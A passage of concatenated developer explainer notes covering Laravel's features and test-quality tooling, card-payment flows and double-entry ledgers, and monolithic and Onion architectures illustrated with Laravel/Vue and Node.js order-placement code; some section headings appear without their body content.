Incoming request data is checked against a declarative set of rules — a field is required, must be an email, must be under a certain length — either inline in a controller or in a dedicated Form Request class. Failing validation automatically redirects back with the errors attached, ready for Blade to display next to the offending field, with no manual wiring.

Compared to other frameworks: Rails validates mostly at the model layer through “strong parameters” plus separate validation gems. Express typically pulls in a standalone library (Joi, Zod) that has no built-in connection to how errors get shown back to the user. In Laravel, validation, the request lifecycle, and the view layer are designed to talk to each other directly.

6. Artisan & migrations

Artisan is Laravel’s command-line tool: it scaffolds boilerplate (a new model, controller, or test file, correctly named and placed) and runs operational tasks (queue workers, scheduled jobs, cache clearing). Migrations are schema changes — “add a column,” “create a table” — written as small, version-controlled PHP files that every teammate runs to arrive at an identical database structure, and that can be rolled back the same way they were rolled forward.

Compared to other frameworks: Rails popularized this exact migration pattern, and Django has its own close equivalent — both hold up well against Laravel here. Express has no built-in answer; a team adopts a separate tool (Knex, Prisma Migrate) and wires it in themselves.

7. Queues & jobs

Slow work — sending an email, resizing an image, calling a third-party API — gets pushed onto a queue and processed by a background worker instead of blocking the request that triggered it. The underlying driver (Redis, Amazon SQS, or even the database itself) is a configuration choice, not a code change, and jobs can be retried automatically, chained in sequence, or batched together.

Compared to other frameworks: Rails reaches this through Sidekiq plus the ActiveJob abstraction — a strong combination, but assembled from an external gem. Django’s answer is Celery, a fully separate project with its own configuration and operational overhead. Laravel’s queue system ships inside the framework itself, with the driver swap being the only thing that changes between a small app and a high-throughput one.

8. Caching

A single Cache interface sits in front of whichever store a project actually uses — Redis, Memcached, the filesystem, or the database. Application code calls the same handful of methods regardless of which store is behind it, so moving from file-based caching in development to Redis in production is a configuration change, not a rewrite.

Compared to other frameworks: many ecosystems couple application code directly to a specific caching library’s API, which makes swapping stores later a real migration. Laravel’s abstraction means that decision stays reversible.

9. Testing tools

Every new Laravel app is pre-wired for testing, with either PHPUnit or Pest already configured. Built-in HTTP testing helpers let a test simulate a full request — as a specific logged-in user, with specific input — and assert on the response, without spinning up a browser. Database testing helpers reset state between tests automatically, so tests don’t leak data into one another.

Compared to other frameworks: Rails has a comparably strong built-in testing culture (RSpec, Minitest) — this is one of the closer comparisons. Express typically needs Supertest plus a separately chosen assertion library, wired together by hand, with no shared convention across projects for how it’s structured.

Laravel vs. other frameworks, at a glance

Deployment is a good example of where this compounds: Forge provisions and manages a normal VPS, Vapor runs the same codebase serverless on AWS Lambda, Sail runs it locally in Docker, and Envoyer handles zero-downtime releases — all official, all interchangeable, without touching application code. Frameworks tied closely to one deploy target turn “move platforms later” into a real migration; Laravel treats that choice as reversible.

Laravel is more than a backend framework

It’s easy to file Laravel under “backend framework” and stop there, but that undersells it. The same install can serve a traditional server-rendered website, power the API behind a native mobile app, run everything that happens outside the request/response cycle, and scale from a single server to a fleet — without a rewrite to get there.

Frontend

Blade, covered above, handles server-rendered HTML. Livewire adds full interactivity — live search, dynamic forms, inline validation — without writing JavaScript, by keeping component state on the server and updating the page over AJAX automatically. Inertia.js goes the other direction: it lets Vue, React, or Svelte own the entire frontend as a real single-page app, while Laravel still handles routing and data — with no separate API layer needed to connect the two. A team picks whichever point on that spectrum fits the product, inside one framework.

API for mobile applications

A Laravel app can expose a pure JSON API alongside, or instead of, any web frontend — exactly what a native iOS or Android app talks to. API Resources shape Eloquent models into consistent JSON responses, decoupled from the underlying database columns. Sanctum issues lightweight API tokens for a mobile client to authenticate with, without the overhead of a full OAuth2 flow. Built-in rate limiting and API versioning support mean one backend, one set of business rules, and one database can serve a website and a mobile app at the same time.

Background processes

Not everything happens while a user is waiting on a response. The queue system covered earlier handles work triggered by a request but finished after it. The task scheduler replaces a server’s crontab with schedule definitions written in PHP and version-controlled with the rest of the app — “run this every night” is one line, not a cron entry configured by hand on a server somewhere. Horizon gives a real-time dashboard over everything running in the background, so a stuck job or a growing backlog is visible immediately instead of silent.

Easy to scale

Because sessions, cache, and queues can all be centralized in Redis instead of tied to one server’s local memory, a Laravel app is stateless in the way that actually matters for scaling — any server behind a load balancer can handle any request. Laravel Octane keeps the application booted in memory between requests (via Swoole or RoadRunner) for a large throughput increase on the same hardware. Vapor takes the same codebase serverless, scaling automatically with traffic. Forge manages provisioning across multiple servers when one machine isn’t enough. None of that requires restructuring the application — it’s a deployment decision, made when it’s actually needed, not a rewrite paid up front.

The quality-analysis toolkit

Having tests is not the same as having good tests, and Laravel’s ecosystem has real tooling for that distinction — measuring how much a test suite actually proves, not just how much code it touches.

Pest — the test runner

Pest sits on top of PHPUnit but replaces its verbose, method-per-test syntax with short, expressive functions. The lower the friction to write a test, the more of them actually get written — which is the entire point. Pest also adds architecture testing: assertions about the shape of the codebase itself, like “no controller may depend directly on Eloquent” or “every class in this namespace must be final” — rules that catch structural drift a normal test never would.

Example plugins: pestphp/pest-plugin-laravel (Laravel-aware test helpers), pestphp/pest-plugin-arch (the architecture assertions above), pestphp/pest-plugin-faker (generate realistic fake data for tests), pestphp/pest-plugin-stressless (lightweight load testing from inside a normal test file).

Mutation testing — does the test actually prove anything

Code coverage answers one question: did this line execute during a test? It says nothing about whether the test would notice if that line were wrong. Mutation testing, via the Infection tool, exposes that gap directly: it automatically changes small pieces of the code — flips a > to >=, swaps true for false, deletes a line — creating a “mutant,” then reruns the test suite against it. If every test still passes, nothing was actually testing that logic, coverage number notwithstanding. The share of mutants a suite successfully catches is the Mutation Score Indicator (MSI) — a far more honest signal of test quality than coverage percentage alone.

Example plugins: infection/infection (the mutation testing engine itself, runs against either Pest or PHPUnit with no extra adapter needed), roave/infection-static-analysis-plugin (skips mutants that static analysis already proves impossible, so runs finish faster).

CRAP score — where the real risk is

CRAP (Change Risk Anti-Patterns) combines two numbers that are dangerous individually but far more dangerous together: cyclomatic complexity (how many branching paths a method has) and test coverage. A method can show 100% coverage and still be a landmine if it’s deeply branched and only ever tested along the happy path. CRAP flags exactly that combination, so review and refactoring effort goes to the methods that are genuinely risky, not just the ones with the most lines.

Example plugins: PHPUnit’s own --coverage-crap4j report flag (produces a CRAP score straight from a normal coverage run, no separate tool needed), phpmetrics/phpmetrics (a broader complexity and risk dashboard for the whole codebase, CRAP included).

Property-based testing — testing the rule, not one example

A normal test asserts one specific input against one specific output. Property-based testing instead states a rule that should hold for any valid input — “the total is always the sum of the item prices, whatever the items are” — and a tool (in PHP, libraries like Eris, usable from inside a Pest or PHPUnit test) generates hundreds of randomized inputs, including edge cases a developer wouldn’t think to write by hand, and tries to break that rule. It catches an entire category of bug that example-based tests systematically miss, simply because nobody thought to write that particular example.

Example plugins: giorgiosironi/eris (the standard PHP property-based testing library, drops straight into an existing Pest or PHPUnit test file).

DRY — the principle the structure encourages

DRY (Don’t Repeat Yourself) isn’t a tool you run — it’s a design principle, and it’s included here because Laravel’s structure is built to make following it the easy path rather than an act of discipline. Form Request classes centralize a set of validation rules instead of repeating them in every controller that needs them. Blade layouts and components remove copy-pasted markup. Traits and service providers share behavior across models without deep inheritance chains. A global scope or a policy centralizes a rule like “a user only ever sees their own orders” in one place, instead of that same where() clause being repeated — and eventually forgotten — in every query that touches that table.

Example plugins: unlike the four above, DRY has no pass/fail test — the closest equivalents are rector/rector (finds duplicated and outdated patterns and rewrites them automatically) and nunomaduro/phpinsights (scores a codebase on complexity and structure, duplication included, in one report).

The honest trade-offs

None of these are reasons to avoid Laravel outright — they’re reasons to know what you’re opting into.

When to reach for it

Laravel is a strong default when:

• you’re building a typical web application — CRUD features, user accounts, forms, dashboards, an API backing a frontend;
• you want to move fast without reinventing routing, auth, and database access from scratch;
• your team values readable, conventional code that a new hire can navigate quickly;
• you expect the project to grow — queues, caching, and horizontal scaling patterns are already there when you need them;
• your team is willing to invest in test quality, not just test quantity, using the tooling above.

Reach for something else when you need a language-level advantage Laravel can’t give you (e.g., heavy concurrent workloads better suited to Go or Elixir), or when the project is so small that any framework is unnecessary weight.

A five-point checklist

1. Start a new project with Laravel’s official installer — routing, a local dev server, and a working app, ready in minutes.
2. Learn Eloquent relationships and eager loading early — it prevents the most common Laravel performance mistake (N+1 queries).
3. Let Artisan generate boilerplate instead of hand-writing files — generated code follows the framework’s conventions automatically.
4. Write tests as you build, then measure them — once coverage looks healthy, run mutation testing before trusting it; coverage alone proves less than it looks like it does.
5. Read the official docs before reaching for a package — a lot of what feels like “I need a library for this” is already built in.

Conclusion

Laravel is one idea: take the parts every web application needs — routing, database access, auth, validation, templating, background jobs — and provide them already built, tested, and documented, so a team’s time goes into the features that make the product different, not the plumbing every product needs anyway.

Compared to other modern frameworks, the gap isn’t in the basics — most of them route requests and talk to a database just fine. It shows up in what ships alongside those basics, one functionality at a time: testing and code-quality tooling that works from the first commit, an official bridge to Vue, React, or Svelte, deployment that isn’t locked to one platform, and — for the teams that go further — a real answer to “how do we know our tests are actually good,” not just “do we have tests.”

Why this is different from normal backend work

In a typical CRUD app, a bug means bad data. In a fintech app, a bug means money that doesn’t exist moved between people who didn’t agree to it — and regulators, banks, and customers all expect you to explain exactly what happened, in order, forever. Three rules follow from that, and they shape everything below:

1. Never delete or overwrite a financial record. Correct it with a new, opposite entry.
2. Never trust “the API said success” to mean “the money moved.” Those are different moments in time.
3. Never use floating-point numbers for money. 0.1 + 0.2 !== 0.3 in IEEE 754 — store cents as integers, not dollars as floats.

1. The vocabulary of money

2. Payment gateways and processors

A single charge.create() call looks like it talks to one system. It actually passes through five separate companies, each doing one specific job. Engineers new to fintech tend to lump them together as “the payment provider” — which is fine until something goes wrong, and you need to know exactly which company in the chain caused it.

Why it matters: most engineers only ever call the gateway’s API, so it’s tempting to assume any problem is your integration’s fault. It usually isn’t. A cryptic decline code, a delayed payout, an unexpected fee — each one traces back to exactly one link in this chain: the issuer’s fraud rules, the network’s cut-off time, or a processor outage. Knowing the chain tells you where to actually look first, and which vendor’s status page to check, instead of debugging your own code for an hour before realizing the problem was never yours.

3. How a card payment actually moves

An API call returning “success” almost always means authorization succeeded — not that money has moved. Four distinct events happen over the life of one payment, each with different timing and different reversibility:

Here’s what each step actually means, and whose job it is:

1. Authorization — your app asks the issuing bank, through the gateway and processor, “does this customer have $49.99 available, and are you willing to guarantee it?” The issuing bank checks the balance/credit limit and fraud rules, then places a hold on that amount. Nothing has moved yet — this is a promise, not a payment. Responsibility: issuing bank decides yes/no; your app just waits for the answer.

2. Capture — your app tells the gateway “I’m ready to actually take this money now,” usually at shipment rather than at order time. This converts the hold from step 1 into a real request to collect funds. Responsibility: the merchant (you) decides when to capture — capturing before you can fulfil the order is a common source of refund headaches if the order later falls through.

3. Settlement — the processor and card network batch up all of a day’s captured transactions and actually move the money: issuer → network → acquirer → merchant. This is what turns “approved” into “funds in the bank,” and it’s why there’s usually a T+1 or T+2 day lag before a captured payment shows up as real, spendable money. Responsibility: entirely the processor/network’s batch cycle — your app has no control over its timing.

4. Payout — once funds have settled into the platform’s account, they’re transferred out to the merchant’s own bank account, on whatever schedule the gateway offers (daily, weekly). Responsibility: the gateway/processor executes it, but the merchant usually configures the schedule.

Two more paths branch off this main flow, and mixing them up is a common modeling mistake:

• Void / reversal — cancels an authorization or a capture before settlement happens. Because the money never actually moved, this is fast and free. Responsibility: the merchant requests it, the issuer releases the hold.
• Refund — returns money after it has settled. This is not an undo — it’s a brand-new transaction moving funds back to the customer, and it can be partial, multiple, or issued weeks later. Responsibility: the merchant initiates it; the acquirer/network process it like any other payment, just in reverse.

A chargeback is the adversarial version of a refund: the cardholder, through their issuing bank, forcibly reverses a settled transaction — usually over fraud or a dispute — without the merchant’s consent. The merchant can contest it with evidence, but it carries a penalty fee regardless of the outcome, making it the most expensive of these four outcomes for the merchant.

4. Why the ledger is double-entry, not a number in a column

The oldest trick in accounting is also the best bug-detector available to you: every transaction touches at least two accounts, one debited, one credited, and the two always sum to zero. If they don’t, you have a bug or fraud — and you find out immediately instead of during an audit six months later.

In a real ledger table, rows are append-only. A mistake isn’t edited — it’s corrected by a new, reversing entry, exactly like a refund. The customer-facing “balance: $500” you show in the UI is just the sum of all postings for that account, computed on read (or cached and always reconcilable back to that sum).

5. Real-world use case: checkout to payout, end to end

Take an ordinary online store checkout and follow the money through every layer discussed above.

1. Customer clicks “Pay $49.99.” Your server sends an idempotency key with the charge request — a UUID generated once per checkout attempt — so that if the network times out and the client retries, the customer is charged once, not twice.
2. The gateway authorizes the card. Issuer places a hold on the customer’s available balance. Your system marks the order pending, not paid — no ledger posting yet.
3. On shipment, you capture. The gateway confirms, and now you post a ledger entry: debit “clearing,” credit “merchant revenue,” minus a fee entry to “processing fees.”
4. A webhook arrives telling you the capture succeeded. You verify its HMAC signature, deduplicate by event ID (webhooks are at-least-once, never exactly-once), and update the order to paid — all as one idempotent operation, because the same webhook might arrive twice.
5. T+1 or T+2 days later, a settlement file lands from the processor. A reconciliation job matches every line to an internal transaction by ID, amount, and timestamp, and flags anything that doesn’t match — a network blip, a processor bug, or genuine fraud, caught before it becomes a customer complaint.
6. Funds move to your platform’s account, then out again as a payout to the merchant — one more pair of ledger postings, debiting the clearing account, crediting the merchant’s payable balance.

Client → Charge (idempotency-key: abc123)
      → Auth hold placed (no $ moved)         [order: pending]
      → Capture on shipment                   [ledger: debit clearing, credit revenue]
      → Webhook: payment.captured (verified, deduped)   [order: paid]
      → T+1: settlement file reconciled against ledger
      → Payout: clearing → merchant payable

If a customer disputes it three weeks later, a chargeback reverses the settled entry, and a new reversing posting — not a deleted row — is what proves to an auditor exactly what happened, in order.

6. The laws that shape your architecture (not an afterthought)

Regulation isn’t paperwork bolted on after the system is built — for a fintech engineer it’s an input to the design, the same way a latency budget is.

7. Risks engineers introduce — and how to design against them

A few more that don’t fit neatly into a box: timeouts on every external bank/processor call (an unbounded wait is a classic cascading-failure trigger), circuit breakers around fraud/processor dependencies, and — the most underrated one — a freeze/pause capability on the affected money flow during an incident, which buys you time to investigate without letting the financial drift get worse.

Quick-reference checklist

Before you consider a payment feature done, it should be true that:

• Every money-moving request carries an idempotency key enforced at the database layer.
• Amounts are integers in minor units (or a fixed-point Decimal), always paired with an explicit currency.
• State only moves forward through an explicit state machine (pending → authorized → captured → settled) — invalid transitions are rejected, not silently allowed.
• Webhook handlers verify signatures, deduplicate by event ID, and don’t assume ordering.
• A reconciliation job independently checks your ledger against the processor’s settlement files — it isn’t optional insurance, it’s the thing that catches everything else missed.
• No raw card numbers or secrets ever appear in logs, and tokenization keeps them off your servers entirely.
• Every posting is traceable back to who/what triggered it and why — because eventually, an auditor or a customer will ask.

None of this is exotic engineering. It’s ordinary distributed-systems discipline — idempotency, immutability, explicit state machines — applied to a domain where the cost of skipping it is measured in dollars, not just downtime.

The one-sentence definition

Monolithic Architecture builds an application’s UI, business logic, and data access as modules inside a single codebase that compiles, deploys, and scales as one unit.

Everything below is a consequence of that sentence.

Why “one unit”?

A monolith isn’t “bad code” or “no structure” — it can be as cleanly layered as any other design. The defining trait is deployment boundary, not internal organization: every request, whether it hits the orders page or the inventory page, is served by the same running process, and shipping any change means shipping the whole application again.

This is the mirror image of microservices, where each of those modules would be its own deployable service with its own database. Monolithic isn’t the absence of structure — internally it can (and should) still separate presentation, business logic, and data access. The difference is that those layers are folders and classes, not network boundaries.

Real-world use case: “Place an order”

Same feature as before, different shape: a customer submits a cart, the system checks stock, calculates the total, saves the order, and sends a confirmation email. We’ll build the backend with Laravel and the interactive checkout form with Vue.js — both compiled and deployed as one application, no separate services to talk to.

1. One Laravel app, one Vite build, one deployment

order-monolith/
├── app/
│   ├── Http/Controllers/
│   │   └── OrderController.php
│   ├── Models/
│   │   ├── Order.php
│   │   └── Stock.php
│   ├── Services/
│   │   ├── InventoryService.php
│   │   ├── OrderService.php
│   │   └── Exceptions/OutOfStockException.php
│   └── Mail/
│       └── OrderConfirmed.php
├── resources/
│   ├── js/
│   │   ├── components/
│   │   │   └── CheckoutForm.vue
│   │   └── app.js
│   └── views/
│       └── checkout.blade.php
├── routes/web.php
├── database/migrations/
├── composer.json
└── package.json

Every folder under app/ still separates concerns — but they all reference each other directly via PHP’s autoloader and ship in the same php artisan deploy, with the Vue components compiled by Vite into the same public build.

2. Data access — one shared Eloquent connection

// app/Models/Stock.php
namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class Stock extends Model
{
    protected $fillable = ['product_id', 'quantity'];
}

// app/Models/Order.php
namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class Order extends Model
{
    protected $fillable = ['customer_id', 'total', 'status'];
}

Every module reuses the same connection defined once in config/database.php. There’s no “orders database” and “inventory database” — one schema, one set of tables, joined with plain Eloquent relationships or query builder when needed.

3. Inventory module — business logic, no network hop to reach it

// app/Services/InventoryService.php
namespace App\Services;

use App\Models\Stock;

class InventoryService
{
    public function checkStock(array $items): bool
    {
        foreach ($items as $item) {
            $stock = Stock::where('product_id', $item['product_id'])->first();

            if (! $stock || $stock->quantity < $item['quantity']) {
                return false;
            }
        }

        return true;
    }

    public function decrementStock(array $items): void
    {
        foreach ($items as $item) {
            Stock::where('product_id', $item['product_id'])
                ->decrement('quantity', $item['quantity']);
        }
    }
}

4. Orders module — calls inventory directly, as a method

// app/Services/Exceptions/OutOfStockException.php
namespace App\Services\Exceptions;

use Exception;

class OutOfStockException extends Exception {}

// app/Services/OrderService.php
namespace App\Services;

use App\Mail\OrderConfirmed;
use App\Models\Order;
use App\Services\Exceptions\OutOfStockException;
use Illuminate\Support\Facades\Mail;

class OrderService
{
    public function __construct(
        private InventoryService $inventory,
    ) {}

    public function placeOrder(string $customerId, array $items, string $email): Order
    {
        // Direct method call — same process, no HTTP, no message broker.
        if (! $this->inventory->checkStock($items)) {
            throw new OutOfStockException('One or more items are unavailable');
        }

        $total = collect($items)->sum(fn ($i) => $i['quantity'] * $i['unit_price']);

        $order = Order::create([
            'customer_id' => $customerId,
            'total' => $total,
            'status' => 'CONFIRMED',
        ]);

        $this->inventory->decrementStock($items);
        Mail::to($email)->send(new OrderConfirmed($order));

        return $order;
    }
}

Notice what’s missing compared to a ports-and-adapters version: no interface definitions to satisfy, no separate service to deploy. OrderService just calls InventoryService directly — Laravel’s container injects it automatically — because they’re guaranteed to be running together, in the same process, at the same version.

5. Notifications — a Mailable

// app/Mail/OrderConfirmed.php
namespace App\Mail;

use App\Models\Order;
use Illuminate\Mail\Mailable;

class OrderConfirmed extends Mailable
{
    public function __construct(public Order $order) {}

    public function build(): self
    {
        return $this->subject('Order confirmed')
            ->view('emails.order-confirmed')
            ->with(['order' => $this->order]);
    }
}

6. Controller and route — wiring inside the same process

// app/Http/Controllers/OrderController.php
namespace App\Http\Controllers;

use App\Services\Exceptions\OutOfStockException;
use App\Services\OrderService;
use Illuminate\Http\Request;

class OrderController extends Controller
{
    public function __construct(private OrderService $orderService) {}

    public function store(Request $request)
    {
        $validated = $request->validate([
            'customer_id' => 'required|string',
            'email' => 'required|email',
            'items' => 'required|array|min:1',
        ]);

        try {
            $order = $this->orderService->placeOrder(
                $validated['customer_id'],
                $validated['items'],
                $validated['email'],
            );

            return response()->json($order, 201);
        } catch (OutOfStockException $e) {
            return response()->json(['error' => $e->getMessage()], 409);
        }
    }
}

// routes/web.php
use App\Http\Controllers\OrderController;
use Illuminate\Support\Facades\Route;

Route::get('/checkout', fn () => view('checkout'));
Route::post('/orders', [OrderController::class, 'store']);

7. Frontend — a Vue.js component in the same repo

<!-- resources/js/components/CheckoutForm.vue -->
<script setup>
import { ref } from 'vue';
import axios from 'axios';

const items = ref([{ product_id: '', quantity: 1, unit_price: 0 }]);
const email = ref('');
const error = ref(null);
const order = ref(null);

async function submitOrder() {
  error.value = null;

  try {
    const response = await axios.post('/orders', {
      customer_id: 'c1',
      email: email.value,
      items: items.value,
    });
    order.value = response.data;
  } catch (e) {
    error.value = e.response?.data?.error ?? 'Something went wrong';
  }
}
</script>

<template>
  <form @submit.prevent="submitOrder">
    <input v-model="email" type="email" placeholder="Email" required />

    <div v-for="(item, index) in items" :key="index">
      <input v-model="item.product_id" placeholder="Product ID" />
      <input v-model.number="item.quantity" type="number" min="1" />
      <input v-model.number="item.unit_price" type="number" step="0.01" />
    </div>

    <button type="submit">Place order</button>

    <p v-if="error">{{ error }}</p>
    <p v-if="order">Order {{ order.id }} confirmed — total {{ order.total }}</p>
  </form>
</template>

// resources/js/app.js
import { createApp } from 'vue';
import CheckoutForm from './components/CheckoutForm.vue';

createApp(CheckoutForm).mount('#checkout-form');

The Vue component talks to /orders over plain HTTP because it runs in the browser — but the build of that component ships inside the same Laravel repo, compiled by the same Vite pipeline, deployed by the same php artisan release. There’s no separate frontend service, repo, or deploy pipeline unless you deliberately choose to split it out.

8. Testing — in the same process, no mocking a network

// tests/Feature/OrderTest.php
namespace Tests\Feature;

use App\Models\Stock;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Mail;
use Tests\TestCase;

class OrderTest extends TestCase
{
    use RefreshDatabase;

    public function test_rejects_an_order_when_stock_is_unavailable(): void
    {
        Mail::fake();

        Stock::create(['product_id' => 'p1', 'quantity' => 0]);

        $response = $this->postJson('/orders', [
            'customer_id' => 'c1',
            'email' => 'a@example.com',
            'items' => [['product_id' => 'p1', 'quantity' => 1, 'unit_price' => 10]],
        ]);

        $response->assertStatus(409);
        Mail::assertNothingSent();
    }
}

There’s no port or interface to satisfy — the test hits the real OrderController through Laravel’s HTTP testing helpers and a real (in-memory/test) database, because in a monolith “the module” and “the dependency” are the same codebase.

Why this pays off: speed, for a while

One repo, one deploy pipeline, one process to run locally. A new developer clones the repo, runs composer install && npm install && php artisan serve, and the whole application — orders, inventory, notifications, and the Vue checkout form — is up. There’s no service mesh to configure, no distributed tracing to set up just to see one request’s path, and a database transaction across “orders” and “inventory” is a normal Eloquent transaction, not a saga.

The traps

When to reach for it

A monolith is the default for good reason — it minimizes operational cost until you have a proven reason to pay more. It’s the right shape when:

• the team is small enough that one deploy pipeline and one on-call rotation is simpler, not slower;
• the domain is still being discovered, so splitting it into services now would mean guessing the wrong boundaries and paying to undo them;
• you need strong consistency — one database transaction across features — more than independent scaling;
• low operational overhead matters more than independent deployability: no service mesh, no distributed tracing, no per-service on-call.

Reach for microservices instead when different parts of the system genuinely need to scale, deploy, or fail independently — and you have the team size to run several services well. Splitting too early just turns one deployable thing into ten things that all still change together.

A five-point checklist

1. Keep internal module boundaries even without network boundaries. app/Services/Orders, app/Services/Inventory — separate classes, no reaching into another module’s tables.
2. Share one database, but don’t let every module touch every table. Route access through the owning module’s service class.
3. Handle errors per-request, not just per-process. One module’s exception shouldn’t be able to crash requests served by another.
4. Test modules through their public methods and HTTP endpoints, not their internals. It keeps the option to extract a module into its own service later.
5. Revisit the shape when a real scaling or team-boundary pain shows up — not before, and not because a blog post said monoliths are outdated.

Conclusion

Monolithic Architecture is one idea: everything — UI, business logic, data access — ships, runs, and scales as a single unit. With Laravel and Vue.js that means one Laravel app, service classes that call each other as plain PHP methods, a Vue component compiled into the same build, and one shared database connection — no ports, no adapters, no network between your own code.

The payoff is speed: one thing to build, deploy, and debug, with real transactions instead of distributed ones. The cost shows up later — as a team, a codebase, or a traffic pattern that genuinely needs independent parts. Until then, the monolith isn’t a shortcut you’ll regret; it’s the architecture doing exactly what it’s for.

This note strips it to the essentials: the rings, the one rule that holds them together, and one real feature — placing an order in a small API — built the onion way in Node.js. It reads in about 10–15 minutes.

The one-sentence definition

Onion Architecture arranges code in concentric rings around a domain model at the center, where every dependency points inward — outer rings (UI, database, frameworks) may depend on inner rings, but an inner ring never depends on an outer one.

Everything below is a consequence of that sentence.

Why rings?

Peel an onion and you always reach the same core, no matter which layer you cut through. That’s the metaphor: no matter how many layers surround it, the domain model at the center stays untouched by the outside world.

If this sounds like Hexagonal or Clean Architecture — it should. Onion, Hexagonal, and Clean Architecture are siblings sharing the same Dependency Rule: source code dependencies point inward, and the innermost layer knows nothing about the outermost. Onion’s distinguishing feature is naming the inward layers explicitly as rings (Domain Model → Domain Services → Application Services) rather than just “core vs. adapters.”

Real-world use case: “Place an order”

A customer submits a cart. The system must: verify every product is in stock, calculate the total with any discount, save the order, and send a confirmation email. We’ll build it in Node.js, ring by ring, from the center out.

1. Domain Model — entities and invariants, nothing else

// domain/model/order.js
class Order {
  constructor(id, customerId, items) {
    if (items.length === 0) {
      throw new Error('An order must have at least one item');
    }
    this.id = id;
    this.customerId = customerId;
    this.items = items; // [{ productId, quantity, unitPrice }]
    this.status = 'PENDING';
  }

  total() {
    return this.items.reduce((sum, i) => sum + i.quantity * i.unitPrice, 0);
  }

  confirm() {
    this.status = 'CONFIRMED';
  }
}

module.exports = { Order };

Order knows what makes an order valid and how to total itself. It has never heard of Postgres, Express, or JSON.

2. Domain Services — rules that span more than one entity

// domain/services/pricing.js

// A domain service belongs here — not on Order itself — because
// discounting needs the Customer entity too, not just the Order.
function applyLoyaltyDiscount(order, customer) {
  const discountRate = customer.loyaltyTier === 'GOLD' ? 0.1 : 0;
  return order.total() * (1 - discountRate);
}

module.exports = { applyLoyaltyDiscount };

Still no I/O. applyLoyaltyDiscount is pure: same inputs, same output, every time.

3. Application Services — the use case, and the ports it needs

// application/ports.js

// Ports are documented shapes (Node has no interfaces) that the
// use case depends on. Infrastructure adapters implement them.
//   ProductCatalog: { checkStock(items) }
//   OrderRepository: { save(order) }
//   Notifier:        { orderConfirmed(order) }

module.exports = {}; // shapes only, not enforced classes

// application/placeOrder.js
const { randomUUID } = require('crypto');
const { Order } = require('../domain/model/order');
const { applyLoyaltyDiscount } = require('../domain/services/pricing');

class OutOfStock extends Error {}

class PlaceOrder {
  // Dependencies arrive as ports: catalog, repository, notifier.
  constructor({ productCatalog, orderRepository, notifier }) {
    this.productCatalog = productCatalog;
    this.orderRepository = orderRepository;
    this.notifier = notifier;
  }

  async handle({ customerId, items, customer }) {
    const inStock = await this.productCatalog.checkStock(items);
    if (!inStock) {
      throw new OutOfStock('One or more items are unavailable');
    }

    const order = new Order(randomUUID(), customerId, items);
    order.finalTotal = applyLoyaltyDiscount(order, customer);
    order.confirm();

    await this.orderRepository.save(order);
    await this.notifier.orderConfirmed(order);

    return order;
  }
}

module.exports = { PlaceOrder, OutOfStock };

Read handle() top to bottom and it is the business process: check stock, price it, confirm it, save it, notify. No req, no SQL, no SMTP client. Swap Postgres for MongoDB or SendGrid for a queue — this class does not change.

4. Infrastructure — implement the ports

Product catalog (calls an internal inventory service):

// infrastructure/inventoryApiCatalog.js
class InventoryApiCatalog {
  constructor(httpClient) {
    this.httpClient = httpClient; // e.g. axios instance
  }

  async checkStock(items) {
    const { data } = await this.httpClient.post('/inventory/check', { items });
    return data.allInStock;
  }
}

module.exports = { InventoryApiCatalog };

Order repository (Postgres, using pg):

// infrastructure/pgOrderRepository.js
class PgOrderRepository {
  constructor(pool) {
    this.pool = pool; // node-postgres Pool
  }

  async save(order) {
    await this.pool.query(
      `INSERT INTO orders (id, customer_id, total, status)
       VALUES ($1, $2, $3, $4)`,
      [order.id, order.customerId, order.finalTotal, order.status],
    );
  }
}

module.exports = { PgOrderRepository };

Notifier (nodemailer):

// infrastructure/mailNotifier.js
class MailNotifier {
  constructor(transporter) {
    this.transporter = transporter; // nodemailer transport
  }

  async orderConfirmed(order) {
    await this.transporter.sendMail({
      to: order.customerId,
      from: 'orders@example.com',
      subject: 'Order confirmed',
      text: `Your order ${order.id} totals ${order.finalTotal}.`,
    });
  }
}

module.exports = { MailNotifier };

Each class is small and replaceable — exactly what you want for the outermost ring.

5. UI — an Express route

// infrastructure/httpRoutes.js
const express = require('express');
const { OutOfStock } = require('../application/placeOrder');

function buildRouter(placeOrder) {
  const router = express.Router();

  router.post('/orders', async (req, res) => {
    try {
      const order = await placeOrder.handle({
        customerId: req.body.customerId,
        items: req.body.items,
        customer: req.body.customer,
      });
      res.status(201).json({ id: order.id, total: order.finalTotal });
    } catch (err) {
      if (err instanceof OutOfStock) {
        return res.status(409).json({ error: err.message });
      }
      res.status(400).json({ error: err.message });
    }
  });

  return router;
}

module.exports = { buildRouter };

The route turns HTTP into a plain object, calls the use case, turns the result back into HTTP — same job a CLI command or a test would each do differently while calling the exact same PlaceOrder.handle().

6. Wiring — the composition root

// index.js
const express = require('express');
const axios = require('axios');
const { Pool } = require('pg');
const nodemailer = require('nodemailer');

const { PlaceOrder } = require('./application/placeOrder');
const { InventoryApiCatalog } = require('./infrastructure/inventoryApiCatalog');
const { PgOrderRepository } = require('./infrastructure/pgOrderRepository');
const { MailNotifier } = require('./infrastructure/mailNotifier');
const { buildRouter } = require('./infrastructure/httpRoutes');

const pool = new Pool({ connectionString: process.env.DATABASE_URL });
const httpClient = axios.create({ baseURL: process.env.INVENTORY_URL });
const transporter = nodemailer.createTransport({ /* smtp config */ });

const placeOrder = new PlaceOrder({
  productCatalog: new InventoryApiCatalog(httpClient),
  orderRepository: new PgOrderRepository(pool),
  notifier: new MailNotifier(transporter),
});

const app = express();
app.use(express.json());
app.use(buildRouter(placeOrder));

app.listen(3000, () => console.log('Listening on :3000'));

This is the only file that knows about Express, pg, axios, and nodemailer and about the domain at the same time. Every ring inward from here is invisible to it.

Why this pays off: testing without a database

Because PlaceOrder only depends on port shapes, a test hands it plain in-memory fakes — no Express, no Postgres, no network:

// test/placeOrder.test.js
const { PlaceOrder, OutOfStock } = require('../application/placeOrder');

test('rejects an order when stock is unavailable', async () => {
  const placeOrder = new PlaceOrder({
    productCatalog: { checkStock: async () => false },
    orderRepository: { save: async () => {} },
    notifier: { orderConfirmed: async () => {} },
  });

  await expect(
    placeOrder.handle({
      customerId: 'c1',
      items: [{ productId: 'p1', quantity: 1, unitPrice: 10 }],
      customer: { loyaltyTier: 'STANDARD' },
    }),
  ).rejects.toBeInstanceOf(OutOfStock);
});

This runs in milliseconds and never touches a real database — the use case never asked for one, only for a ProductCatalog-shaped object.

The traps

When to reach for it

